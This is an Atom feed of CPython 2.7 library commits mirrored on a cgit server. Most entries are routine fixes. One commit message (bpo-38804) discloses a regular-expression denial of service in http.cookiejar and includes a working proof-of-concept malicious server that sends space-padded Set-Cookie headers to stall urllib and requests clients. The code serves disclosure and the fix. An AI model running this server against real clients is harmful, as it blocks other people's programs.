<feed xmlns='http://www.w3.org/2005/Atom'>
<title>python.git/Lib, branch 2.7</title>
<subtitle>Unnamed repository; edit this file 'description' to name the repository.</subtitle>
<id>http://dangofactory.net/cgit/cgit.cgi/Server/python.git/atom/Lib?h=2.7</id>
<link rel='self' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/atom/Lib?h=2.7'/>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/'/>
<updated>2020-04-04T00:34:39Z</updated>
<entry>
<title>Update macOS installer build for 2.7.18 end-of-life. (GH-19352)</title>
<updated>2020-04-04T00:34:39Z</updated>
<author>
<name>Ned Deily</name>
<email>nad@python.org</email>
</author>
<published>2020-04-04T00:34:39Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=8a0a50084fb9721daa9fabcfd4725d027f8414f2'/>
<id>urn:sha1:8a0a50084fb9721daa9fabcfd4725d027f8414f2</id>
<content type='text'>
</content>
</entry>
<entry>
<title>[2.7] closes bpo-38576: Disallow control characters in hostnames in http.client. (GH-19052)</title>
<updated>2020-03-19T01:35:44Z</updated>
<author>
<name>Matěj Cepl</name>
<email>mcepl@cepl.eu</email>
</author>
<published>2020-03-19T01:35:44Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=e176e0c105786e9f476758eb5438c57223b65e7f'/>
<id>urn:sha1:e176e0c105786e9f476758eb5438c57223b65e7f</id>
<content type='text'>
Add host validation for control characters for more
CVE-2019-18348 protection.
(cherry picked from commit 83fc70159b24)

Co-authored-by: Ashwin Ramaswami &lt;aramaswamis@gmail.com&gt;</content>
</entry>
<entry>
<title>bpo-27973 - Use test.support.temp_dir instead of NamedTemporaryFile for the (#17774)</title>
<updated>2020-01-04T02:14:18Z</updated>
<author>
<name>Senthil Kumaran</name>
<email>senthil@uthcode.com</email>
</author>
<published>2020-01-04T02:14:18Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=5bba60290b4ac8c95ac46cfdaba5deee37be1fab'/>
<id>urn:sha1:5bba60290b4ac8c95ac46cfdaba5deee37be1fab</id>
<content type='text'>
desired behavior under windows platform.

Suggestion by David Bolen</content>
</entry>
<entry>
<title>[2.7] bpo-27973 - Fix for urllib.urlretrieve() failing on second ftp transfer (#1040)</title>
<updated>2019-12-31T05:14:56Z</updated>
<author>
<name>Senthil Kumaran</name>
<email>orsenthil@gmail.com</email>
</author>
<published>2019-12-31T05:14:56Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=f82e59ac4020a64c262a925230a8eb190b652e87'/>
<id>urn:sha1:f82e59ac4020a64c262a925230a8eb190b652e87</id>
<content type='text'>
* bpo-27973: Fix urllib.urlretrieve failing on subsequent ftp transfers from the same host.

* bpo-35411: Skip test_urllibnet FTP tests on Travis CI.
</content>
</entry>
<entry>
<title>bpo-38295: prevent test_relative_path of test_py_compile failure on macOS Catalina (GH-17636)</title>
<updated>2019-12-17T09:16:33Z</updated>
<author>
<name>Miss Islington (bot)</name>
<email>31488909+miss-islington@users.noreply.github.com</email>
</author>
<published>2019-12-17T09:16:33Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=5f2c1345a79f205c680ed6e0a6ed44199546d79e'/>
<id>urn:sha1:5f2c1345a79f205c680ed6e0a6ed44199546d79e</id>
<content type='text'>
(cherry picked from commit bf3aa1060a29a05813abbe877193af16e3e7131e)

Co-authored-by: Ned Deily &lt;nad@python.org&gt;</content>
</entry>
<entry>
<title>[2.7] bpo-38945: UU Encoding: Don't let newline in filename corrupt the output format (GH-17418). (#17452)</title>
<updated>2019-12-03T18:18:52Z</updated>
<author>
<name>Matthew Rollings</name>
<email>1211162+stealthcopter@users.noreply.github.com</email>
</author>
<published>2019-12-03T18:18:52Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=a016d4e32cc9faa48105d00db275439c3dc93559'/>
<id>urn:sha1:a016d4e32cc9faa48105d00db275439c3dc93559</id>
<content type='text'>
(cherry picked from commit a62ad4730c9b575f140f24074656c0257c86a09a)

Co-authored-by: Matthew Rollings &lt;1211162+stealthcopter@users.noreply.github.com&gt;</content>
</entry>
<entry>
<title>bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (GH-17345)</title>
<updated>2019-11-24T15:49:23Z</updated>
<author>
<name>Victor Stinner</name>
<email>vstinner@python.org</email>
</author>
<published>2019-11-24T15:49:23Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=e6499033032d5b647e43a3b49da0c1c64b151743'/>
<id>urn:sha1:e6499033032d5b647e43a3b49da0c1c64b151743</id>
<content type='text'>
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) &gt; 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.

(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)</content>
</entry>
<entry>
<title>[2.7] bpo-38535: Fix positions for AST nodes for calls without arguments in decorators. (GH-16861). (GH-16931)</title>
<updated>2019-10-26T14:30:30Z</updated>
<author>
<name>Serhiy Storchaka</name>
<email>storchaka@gmail.com</email>
</author>
<published>2019-10-26T14:30:30Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=493fef60a7600f83fe6916ed89d0fb0c0aab484d'/>
<id>urn:sha1:493fef60a7600f83fe6916ed89d0fb0c0aab484d</id>
<content type='text'>
(cherry picked from commit 26ae9f6d3d755734c9f371b9356325afe5764813)
</content>
</entry>
<entry>
<title>[2.7] bpo-38216, bpo-36274: Allow subclasses to separately override validation and encoding behavior (GH-16476)</title>
<updated>2019-10-08T02:00:01Z</updated>
<author>
<name>Jason R. Coombs</name>
<email>jaraco@jaraco.com</email>
</author>
<published>2019-10-08T02:00:02Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=f5b1abbb3b0083381925dcd5898ae6d019224826'/>
<id>urn:sha1:f5b1abbb3b0083381925dcd5898ae6d019224826</id>
<content type='text'>
Backporting this change, I observe a couple of things:

1. The _encode_request call is no longer meaningful because the request construction will implicitly encode the request using the default encoding when the format string is used (request = '%s %s %s'...). In order to keep the code as consistent as possible, I decided to include the call as a pass-through. I'd be just as happy to remove it entirely, but I'll leave that up to the reviewer to decide. It's okay that this functionality is disabled on Python 2 because this functionality was mainly around bpo-36274, which was mainly a concern with the transition to Python 3.
2. Because _encode_request is no longer meaningful, neither is the test for it, so I've removed that test. Therefore, the meaningful part of this test is that for bpo-38216, adding a (underscore-protected) hook to customize/disable validation.

(cherry picked from commit 7774d7831e8809795c64ce27f7df52674581d298)

Co-authored-by: Jason R. Coombs &lt;jaraco@jaraco.com&gt;
</content>
</entry>
<entry>
<title>[2.7] bpo-37664: Update ensurepip bundled wheels, again (GH-16633)</title>
<updated>2019-10-08T01:54:05Z</updated>
<author>
<name>Benjamin Peterson</name>
<email>benjamin@python.org</email>
</author>
<published>2019-10-08T01:54:05Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=e7e58fe03175adc660c192e724b91ae7ccba9cb6'/>
<id>urn:sha1:e7e58fe03175adc660c192e724b91ae7ccba9cb6</id>
<content type='text'>
(cherry picked from commit 10c452b894d95fed06056fe11e8fe8e1a2a60040)

Co-authored-by: Pradyun Gedam &lt;pradyunsg@gmail.com&gt;</content>
</entry>
</feed>
